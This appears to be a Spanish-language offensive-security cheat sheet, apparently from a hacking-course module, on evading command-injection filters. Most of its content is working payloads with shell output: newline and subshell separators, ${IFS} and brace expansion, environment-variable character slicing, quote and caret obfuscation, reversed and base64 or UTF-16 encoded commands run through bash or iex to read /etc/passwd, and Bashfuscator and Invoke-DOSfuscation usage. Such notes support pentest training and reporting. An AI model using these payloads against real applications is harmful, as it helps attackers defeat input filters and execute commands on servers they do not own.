Command Injection — Filter Evasion
Cuando una aplicación filtra caracteres o palabras específicas para prevenir command injection, existen múltiples técnicas para evadir esos filtros, dependiendo de qué exactamente esté bloqueado: separadores de comandos, espacios, o los propios nombres de los comandos/binarios.
Filtros basados en lista negra de caracteres
Ejemplo de filtro típico (bloquea los separadores de comandos más comunes):
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}- Este tipo de filtro es frágil porque depende de enumerar todos los caracteres peligrosos posibles; basta con un carácter equivalente no contemplado (salto de línea,
%0a, subshells) para evadirlo por completo.
Separadores alternativos que a veces no están en la lista negra:
%0a (salto de línea URL-encoded)
$(comando) (subshell)
`comando` (backticks)Evasión de filtros de espacios
Cuando el filtro bloquea específicamente el carácter espacio (), pero no otros separadores de campos válidos para el shell:
Salto de línea + tabulación
127.0.0.1%0a whoami
127.0.0.1%0a%09%0a(salto de línea) actúa como separador de comandos;%09(tabulación) puede sustituir al espacio como separador de argumentos en muchos shells.
Variable de entorno $IFS (Internal Field Separator)
${IFS}
127.0.0.1%0a${IFS}$IFScontiene, por defecto, el espacio (y tabulación/salto de línea) como caracteres separadores de campos en bash — al expandirse${IFS}, el shell lo reemplaza literalmente por un espacio, evadiendo cualquier filtro que busque el carácter espacio de forma literal en el string de entrada.
Expansión de llaves (Brace Expansion)
127.0.0.1%0a{ls,-la}$ {ls,-la}
total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..- La sintaxis
{comando,arg1,arg2}de bash expande cada elemento separado por comas como un argumento independiente, sin necesidad de ningún espacio literal en el payload.
Extracción de un espacio desde una variable de entorno existente (Linux)
Cuando ni $IFS ni la expansión de llaves están disponibles (por ejemplo, si el filtro también bloquea {/}/$), se puede extraer un carácter espacio de una variable de entorno que ya lo contiene, usando slicing de bash:
$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games$ echo ${PATH:0:1}
/$ echo ${LS_COLORS:10:1}
;127.0.0.1${LS_COLORS:10:1}${IFS}- La sintaxis
${VARIABLE:offset:longitud}extrae un substring de la variable — se puede usar sobre cualquier variable de entorno predecible para obtener casi cualquier carácter necesario (espacio, punto y coma, barra, etc.) sin escribirlo literalmente en el payload.
Extracción de un carácter en Windows (cmd/PowerShell)
> echo %HOMEPATH:~6,-11%
\> $env:HOMEPATH[0]
\
PS C:\> $env:PROGRAMFILES[10]
PS C:\>- La sintaxis
%VARIABLE:~inicio,longitud%encmd.exey la indexación$env:VARIABLE[indice]en PowerShell cumplen el mismo propósito que el slicing de bash: extraer un carácter específico de una variable de entorno del sistema para evadir un filtro sobre ese carácter literal.
Character Shifting (desplazamiento de caracteres ASCII)
Técnica para obtener un carácter bloqueado transformándolo a partir de otro carácter permitido, usando su posición en la tabla ASCII:
$ man ascii # \ está en la posición 92, justo antes está [ en la 91
$ echo $(tr '!-}' '"-~'<<<[)
\tr '!-}' '"-~'desplaza cada carácter del rango!a}una posición hacia adelante en la tabla ASCII — al pasarle[(91), devuelve\(92). Útil cuando el propio carácter objetivo (\, backslash) está bloqueado, pero el carácter anterior en la tabla ASCII no lo está.
Evasión de comandos en lista negra (bloqueo por nombre de comando)
Cuando el filtro no bloquea caracteres especiales, sino nombres de comandos específicos (whoami, cat, nc, etc.) mediante coincidencia de texto:
Comillas intercaladas (funciona en Linux y Windows/cmd)
w'h'o'am'i
21y4dw"h"o"am"i
21y4d127.0.0.1%0aw'h'o'am'i- El shell concatena los fragmentos entre comillas (vacías de efecto propio, solo agrupan) y reconstruye el nombre del comando original en tiempo de ejecución — la cadena literal
whoaminunca aparece en el payload enviado, evadiendo filtros de coincidencia de texto simple.
Solo Linux: $@ y backslash
who$@ami
w\ho\am\i$@se expande a una cadena vacía cuando no hay argumentos posicionales, "partiendo" el nombre del comando sin alterar su ejecución.- El backslash antes de una letra (
\h,\o, etc.) es interpretado por bash como un carácter de escape sin efecto especial sobre letras normales, por lo que el comando se reconstruye igual de forma transparente.
Solo Windows (cmd.exe)
> who^ami
21y4d- El acento circunflejo (
^) es el carácter de escape decmd.exe; colocado antes de un carácter sin significado especial no tiene efecto sobre la ejecución, pero rompe la coincidencia literal del stringwhoami.
Ofuscación avanzada de comandos
Cambios de mayúsculas/minúsculas
> WhOaMi
21y4d- Tanto
cmd.execomo PowerShell (y muchos shells Unix, dependiendo del binario) son insensibles a mayúsculas/minúsculas en el nombre del comando — variar el casing evade filtros de coincidencia exacta sensible a mayúsculas.
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d$(a="WhOaMi";printf %s "${a,,}")- Ambos ejemplos normalizan un comando escrito con mayúsculas/minúsculas mezcladas (que evade el filtro de texto original) de vuelta a minúsculas en tiempo de ejecución, antes de invocarlo.
Comandos invertidos (Reversed)
$ echo 'whoami' | rev
imaohw$(rev<<<'imaohw')
21y4d> "whoami"[-1..-20] -join ''
imaohw> iex "$('imaohw'[-1..-20] -join '')"
21y4d- Se envía el comando escrito al revés (que no coincide con ninguna firma de la lista negra), y se revierte en tiempo de ejecución justo antes de invocarlo con
rev(Linux) o slicing negativo +iex(PowerShell, "Invoke-Expression").
Comandos codificados (Base64 / UTF-16)
Codificación en Linux:
$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin- El payload transmitido es una cadena base64 que no contiene ninguno de los caracteres/palabras bloqueados; se decodifica y ejecuta directamente en el propio shell de destino.
Codificación en Windows (PowerShell usa UTF-16LE + Base64 para su parámetro -EncodedCommand):
> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
dwBoAG8AYQBtAGkA> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
21y4d- El primer comando genera el payload codificado (normalmente se haría desde la máquina atacante, no la víctima); el segundo bloque muestra cómo generar el mismo valor desde Linux con
iconvsi no se dispone de un entorno Windows a mano; el tercero es el que se inyectaría en el objetivo para decodificar y ejecutar. - PowerShell también acepta directamente el flag
-EncodedCommand/-econ una cadena Base64 UTF-16LE como argumento de línea de comandos completo, sin necesidad deiex— útil si el vector de inyección permite invocarpowershell.execon argumentos propios.
Herramientas de evasión automatizada
Linux — Bashfuscator
Genera automáticamente versiones ofuscadas de un comando, combinando varias de las técnicas anteriores (y otras adicionales) de forma aleatoria:
❯ git clone https://github.com/Bashfuscator/Bashfuscator
❯ cd Bashfuscator
❯ pip3 install setuptools==65
❯ python3 setup.py install --user❯ cd ./bashfuscator/bin/
❯ ./bashfuscator -h
usage: bashfuscator [-h] [-l] ...SNIP...
optional arguments:
-h, --help show this help message and exit
Program Options:
-l, --list List all the available obfuscators, compressors, and encoders
-c COMMAND, --command COMMAND
Command to obfuscate
...SNIP...Generar un payload ofuscado con el máximo de capas por defecto:
❯ ./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 charactersGenerar un payload más corto y legible, limitando severidad/capas (útil cuando el campo de entrada tiene un límite de longitud):
❯ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters-s/-t: controlan la "severidad" (complejidad) del stub y de los tokens generados, respectivamente — valores más bajos generan payloads más cortos y simples, útiles para inyecciones con límite de caracteres.--no-mangling: desactiva ofuscación adicional del propio código generado, dejándolo más legible/corto.--layers: cuántas capas de ofuscación anidada aplicar.
Verificación local del payload generado:
❯ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bash
...SNIP...Windows — Invoke-DOSfuscation
Equivalente a Bashfuscator para cmd.exe/PowerShell:
PS C:\> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\> cd Invoke-DOSfuscation
PS C:\> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\> Invoke-DOSfuscation
Invoke-DOSfuscation> help
HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...
Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscationEjemplo generando una versión ofuscada de un comando específico usando encoding de variables de entorno (la misma técnica de slicing vista más arriba, pero automatizada):
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation\Encoding> 1
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xtVerificación local del payload generado:
C:\> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
test_flagNotas de metodología
- Antes de recurrir a herramientas de ofuscación automatizada, conviene entender manualmente cuál de las técnicas anteriores evade el filtro específico del objetivo — un payload más simple y corto es preferible cuando funciona, ya que reduce la probabilidad de romper por límites de longitud del campo o peculiaridades del parser.
- Combinar varias técnicas suele ser necesario en la práctica: por ejemplo, evadir el filtro de espacios con
${IFS}y evadir el filtro de nombres de comando con comillas intercaladas en el mismo payload. - Documentar en el reporte qué técnica específica evadió el filtro (no solo el payload final) ayuda al equipo de desarrollo a entender la debilidad raíz del control implementado, en vez de solo "parchear" el payload puntual que se usó.